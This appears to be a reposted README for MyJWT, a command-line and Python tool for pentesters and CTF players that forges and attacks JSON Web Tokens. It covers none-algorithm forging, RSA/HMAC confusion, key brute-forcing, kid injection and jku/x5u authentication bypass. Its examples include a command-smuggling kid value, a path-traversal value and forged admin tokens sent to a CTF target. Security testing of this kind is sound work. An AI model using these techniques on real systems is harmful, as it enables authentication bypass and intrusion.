MyJWT - A Cli For Cracking, Testing Vulnerabilities On Json Web Token (JWT)

This cli is for pentesters, CTF players, or dev.
You can modify your jwt, sign, inject ,etc…
Check Documentation for more information.
If you see problems or enhancement send an issue.I will respond as soon as possible. Enjoy :)

Documentation

Documentation is available at <http://myjwt.readthedocs.io>

Features

• copy new jwt to clipboard
• user Interface (thanks questionary)
• color output
• modify jwt (header/Payload)
• None Vulnerability
• RSA/HMAC confusion
• Sign a jwt with key
• Brute Force to guess key
• crack jwt with regex to guess key
• kid injection
• Jku Bypass
• X5u Bypass

Installation

To install myjwt, simply use pip:

pip install myjwt  

To run mywt from a docker image, run:

docker run -it docker.pkg.github.com/mbouamama/myjwt/myjwt:latest myjwt  
  
# mount volume for wordlist  
docker run -v $(pwd)/wordlist:/home/wordlist/  -it docker.pkg.github.com/mbouamama/myjwt/myjwt:latest myjwt  
# On Windows  
docker run -v %CD%/wordlist:/home/wordlist/  -it docker.pkg.github.com/mbouamama/myjwt/myjwt:latest myjwt  

To install myjwt, on git:

git clone https://github.com/mBouamama/MyJWT.git  
cd ./MyJWT  
pip install -r requirements.txt  
python MyJWT/myjwt_cli.py --help  

To install myjwt on BlackArch:

pacman -S myjwt

Usage

$ myjwt --help  
Usage: myjwt [OPTIONS] JWT  
  
  This cli is for pentesters, CTF players, or dev.  
  You can modify your jwt, sign, inject ,etc...  
  Full documentation is at http://myjwt.readthedocs.io.  
  If you see problems or enhancement send an issue.I will respond as soon as possible.  
  Enjoy :)  
  All new jwt will be copy to the clipboard.  
  
Options:  
  --version                    Show the version and exit.  
  --full-payload TEXT          New [payload](<https://www.kitploit.com/search/label/Payload> "payload" ) for your jwt.Json format Required.  
  -h, --add-header TEXT        Add a new key, value to your jwt header, if key  
                               is present old value will be replaced.Format:  
                               key=value.  
  
  -p, --add-payload TEXT       Add a new key, value to your jwt payload, if  
                               key is present old value    will be  
                               replaced.Format: key=value.  
  
  --sign TEXT                  Sign Your jwt with key given.  
  --verify TEXT                verify your key.  
  -none, --none-vulnerability  Check None Alg vulnerability.  
  --hmac PATH                  Check RS/HMAC Alg vulnerability.  
  --bruteforce PATH            [Bruteforce](<https://www.kitploit.com/search/label/Bruteforce> "Bruteforce" ) to guess the secret used to sign the  
                               token.  
  
  -c, --crack TEXT             regex to iterate all string possibilities to  
                               guess the secret used to sign the token.  
  
  --kid TEXT                   Kid [Injection](<https://www.kitploit.com/search/label/Injection> "Injection" ) sql  
  --jku TEXT                   Jku Header to bypass authentication  
  --x5u TEXT                   X5u Header to bypass authen   tication  
  --crt TEXT                   For x5cHeader, force crt file  
  --key TEXT                   For jku or x5c Header, force private key to  
                               your key file  
  
  --file TEXT                  For jku Header and x5u Header, force file name  
  --print                      Print Decoded JWT  
  -u, --url TEXT               Url to send your jwt.  
  -m, --method TEXT            Method use for send request to url.(Default  
                               GET).  
  
  -d, --data TEXT              Data send to your url.Format: key=value. if  
                               value = MY_JWT value will be replace by new  
                               jwt.  
  
  -c, --cookies TEXT           [Cookies](<https://www.kitploit.com/search/label/Cookies> "Cookies" ) to send to your url.Format: key=value.  
                               if value = MY_JWT value will be replace by new  
                                  jwt.  
  
  --help                       Show this message and exit.

Modify JWT

Option	Type	Example	help
--ful-payload	JSON	{“user”: “admin”}	New payload for your jwt.
-h, --add-header	key=value	user=admin	Add a new key, value to your jwt header, if key is present old value will be replaced.
-p, --add-payload	key=value	user=admin	Add a new key, value to your jwt payload, if key is present old value will be replaced.

Check Your JWT (HS alg)

Option	Type	Example	help
--sign	text	mysecretkey	Sign Your jwt with your key
--verify	text	mysecretkey	Verify your key.

Exploit

Option	Type	Example	help
-none, --none-vulnerability	Nothing		Check None Alg vulnerability.
--hmac	PATH	./public.pem	Check RS/HMAC Alg vulnerability, and sign your jwt with public key.
--bruteforce	PATH	./wordlist/big.txt	Bruteforce to guess th secret used to sign the token. Use txt file with all password stored(1 by line)
--crack	REGEX	“[a-z]{4}”	regex to iterate all string possibilities to guess the secret used to sign the token.
--kid	text	“00; echo /etc/.passwd”	Kid Injection sql
--jku	text	MYPUBLICIP	Jku Header to bypass authentication, use --file if you want to change your jwks file name, and --key if you want to use your own private pem
--x5u	text	MYPUBLICIP	For jku or x5c Header, use --file if you want to change your jwks file name, and --key if you want to use your own private pem

Send your jwt

Option	Type	Example	help
-u, --url	url	<http://challenge01.root-me.org/web-serveur/ch59/admin&gt;	Url to send your jwt.
-m, --method	text	POST	Method use to send request to url.(Default: GET).
-d, --data	key=value	secret=MY_JWT	Data send to your url.Format: key=value. if value = MY_JWT value will be replace by your new jwt.
-c, --cookies	key=value	secret=MY_JWT	Cookies to send to your url.Format: key=value.if value = MY_JWT value will be replace by your new jwt.

Other

Option	Type	Example	help
--crt	PATH	./public.crt	For x5cHeader, force crt file
--key	PATH	./private.pem	For jku or x5c Header, force private key to your key file
--file	text	myfile	For jku Header, force file name without .json extension
--print	Nothing		Print Decoded JWT
--help	Nothing		Show Helper message and exit.
--version	Nothing		Show Myjwt version

Examples

• Modify Your jwt
• None Vulnerabilty Check
• Sign Key
• Brute Force Signature
• RSA/HMAC Confusion
• Kid Injection
• Send your new Jwt to url
• Jku Vulnerability
• X5u Vulnerability

Modify your Jwt

CLI

myjwt YOUR_JWT --add-payload "username=admin" --add-header "refresh=false"  

Code

from myjwt.modify_jwt import add_header, change_payload  
from myjwt.utils import jwt_to_json, SIGNATURE, encode_jwt  
  
jwt_json = jwt_to_json(jwt)  
jwt_json = add_header(jwt_json, {"kid": "001"})  
jwt_json = change_payload(jwt_json, {"username": "admin"})  
jwt = encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE]  

Full example here: 01-modify-jwt

None Vulnerability

CLI

myjwt YOUR_JWT --none-vulnerability  

CODE

from myjwt.utils import jwt_to_json, SIGNATURE, encode_jwt  
from myjwt.vulnerabilities import none_vulnerability  
jwt_json = jwt_to_json(jwt)  
jwt = none_vulnerability(encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE])  

Full example here: 02-none-vulnerability

Sign Key

CLI

myjwt YOUR_JWT --sign YOUR_KEY  

CODE

from myjwt.modify_jwt import signature  
from myjwt.utils import jwt_to_json  
key = "test"  
jwt = signature(jwt_to_json(jwt), key)  

Full example here: 03-sign-key

Brute Force

CLI

myjwt YOUR_JWT --bruteforce PATH  

CODE

from myjwt.vulnerabilities import bruteforce_wordlist  
wordlist = "../../wordlist/common_pass.txt"  
key = bruteforce_wordlist(jwt, wordlist)  

Full example here: 04-brute-force

Crack

CLI

myjwt YOUR_JWT --crack REGEX  

RSA/HMAC Confusion

CLI

myjwt YOUR_JWT --hmac FILE  

CODE

from myjwt.vulnerabilities import confusion_rsa_hmac  
file = "public.pem"  
jwt = confusion_rsa_hmac(jwt, file)  

Full example here: 05-rsa-hmac-confusion

Kid Injection

CLI

myjwt YOUR_JWT --kid INJECTION  

Code

from myjwt.modify_jwt import signature  
from myjwt.utils import jwt_to_json  
from myjwt.vulnerabilities import inject_sql_kid  
  
injection = "../../../../../../dev/null"  
sign = ""  
jwt = inject_sql_kid(jwt, injection)  
jwt = signature(jwt_to_json(jwt), sign)  

Full example here: 06-kid-injection

Send your new Jwt to url

CLI

myjwt YOUR_JWT -u YOUR_URL -c "jwt=MY_JWT" --non-vulnerability --add-payload "username=admin"  

Jku Vulnerability

CLI

myjwt YOUR_JWT --jku YOUR_URL  

Code

from myjwt.vulnerabilities import jku_vulnerability  
new_jwt = jku_vulnerability(jwt=jwt, url="MYPUBLIC_IP")  
print(jwt)  

Full example here: 07-jku-bypass

X5U Vulnerability

CLI

myjwt YOUR_JWT --x5u YOUR_URL  

Code

from myjwt.vulnerabilities import x5u_vulnerability  
newJwt = x5u_vulnerability(jwt=jwt, url="MYPUBLIC_IP")  
print(jwt)  

Full example here: 08-x5u-bypass

Download

Check github releases. Latest is available at <https://github.com/mBouamama/MyJWT/releases/latest&gt;

Contribute

• Fork this repository or clone it
• Create a new branch (feature, hotfix, etc…)
• Make necessary changes and commit those changes
• Check lint with make flake8
• Check unit_test with make test
• Send Pull Request I will check as Soon as Possible.

Change log

The log’s become rather long. It moved to its own file.

See CHANGES.

Download MyJWT